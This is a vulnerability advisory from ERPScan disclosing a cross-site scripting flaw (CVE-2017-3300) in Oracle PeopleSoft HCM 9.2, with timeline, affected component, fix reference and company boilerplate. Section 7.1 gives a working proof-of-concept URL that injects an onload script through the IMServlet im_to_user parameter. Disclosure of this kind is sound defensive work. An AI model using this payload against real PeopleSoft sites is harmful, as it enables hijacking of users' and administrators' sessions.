Oracle PeopleSoft HCM 9.2 Cross Site Scripting

`Application: Oracle PeopleSoft  
  
Vendor: Oracle  
  
Bugs: XXS  
  
Reported: 31.10.2016  
  
Vendor response: 1.11.2016  
  
Date of Public Advisory: 17.01.2017  
  
Reference: Oracle CPU Jan 2017  
  
Authors: Vahagn Vardanyan, Dmitry Yudin  
  
  
  
1. ADVISORY INFORMATION  
  
Title: Oracle PeopleSoft a XSS vulnerability  
  
Advisory ID: [ERPSCAN-17-005]  
  
Risk: High  
  
Advisory URL:  
https://erpscan.com/advisories/erpscan-17-005-oracle-peoplesoft-xss-vulnerability/  
  
Date published: 17.01.2017  
  
Vendor contacted: Oracle  
  
  
  
2. VULNERABILITY INFORMATION  
  
Class: XSS [CWE-79]  
  
Remotely Exploitable: Yes  
  
Locally Exploitable: No  
  
CVE Name: CVE-2017-3300  
  
CVSS Base Score: 6.1  
  
  
  
3. VULNERABILITY DESCRIPTION  
  
An attacker can use a special HTTP request to hijack session data of  
administrators or users.  
  
  
  
4. VULNERABLE PACKAGES  
  
  
$ psreleaseinfo  
  
ToolsRelease: 8.55.03  
  
ToolsReleaseDB: 8.55  
  
  
  
PeopleSoft HCM 9.2  
  
  
  
PORTAL.war/WEB-INF/lib/mcfIM.jar  
  
  
  
$ md5sum ./PORTAL.war/WEB-INF/lib/mcfIM.jar  
  
36982c7d3c059ec9c2d9aaf0c35a65d3 ./PORTAL.war/WEB-INF/lib/mcfIM.jar  
  
  
  
5. SOLUTIONS AND WORKAROUNDS  
  
Oracle CPU January 2017  
  
  
6. AUTHOR  
  
  
Dmitri Yudin (@ret5et)/ERPScan & Vahagn Vardanyan (@vah_13 )/ERPScan  
  
  
  
7. TECHNICAL DESCRIPTION  
  
  
  
7.1. Proof of Concept  
  
  
  
xss  
  
  
http://localhost:8000/IMServlet?Method=MSN_PRESENCE&im_server_name=MSN&im_server=127.0.0.1:8000&im_to_user=%3Ca%20xmlns:a=%27http://www.w3.org/1999/xhtml%27%3E%3Ca:body%20onload=%27alert%28document.location%29%27/%3E%3C/a%3E  
  
  
  
8. REPORT TIMELINE  
  
Reported: 31.10.2016  
  
Vendor response: 1.11.2016  
  
Date of Public Advisory: 17.01.2017  
  
  
  
9. REFERENCES  
  
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html  
https://erpscan.com/advisories/erpscan-17-005-oracle-peoplesoft-xss-vulnerability/  
  
10. ABOUT ERPScan Research  
  
ERPScan research team specializes in vulnerability research and analysis of  
critical enterprise applications. It was acknowledged multiple times by the  
largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for  
discovering more than 400 vulnerabilities in their solutions (200 of them  
just in SAP!).  
  
ERPScan researchers are proud of discovering new types of vulnerabilities  
(TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug"  
nomination at BlackHat 2013.  
  
ERPScan experts participated as speakers, presenters, and trainers at 60+  
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Our team consists of highly-qualified researchers, specialized in various  
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gathering their experience to conduct the best SAP security research.  
  
11. ABOUT ERPScan  
  
ERPScan is the most respected and credible Business Application  
Cybersecurity provider. Founded in 2010, the company operates globally and  
enables large Oil and Gas, Financial, Retail and other organizations to  
secure their mission-critical processes. Named as an aEmerging Vendora in  
Security by CRN, listed among aTOP 100 SAP Solution providersa and  
distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in  
discovering and resolving security vulnerabilities. ERPScan consultants  
work with SAP SE in Walldorf to assist in improving the security of their  
latest solutions.  
  
ERPScanas primary mission is to close the gap between technical and  
business security, and provide solutions for CISO's to evaluate and secure  
SAP and Oracle ERP systems and business-critical applications from both  
cyberattacks and internal fraud. As a rule, our clients are large  
enterprises, Fortune 2000 companies and MSPs, whose requirements are to  
actively monitor and manage security of vast SAP and Oracle landscapes on a  
global scale.  
  
We afollow the suna and have two hubs, located in Palo Alto and Amsterdam,  
to provide threat intelligence services, continuous support and to operate  
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Phone: 650.798.5255  
  
Twitter: @erpscan  
  
Scoop-it: Business Application Security  
`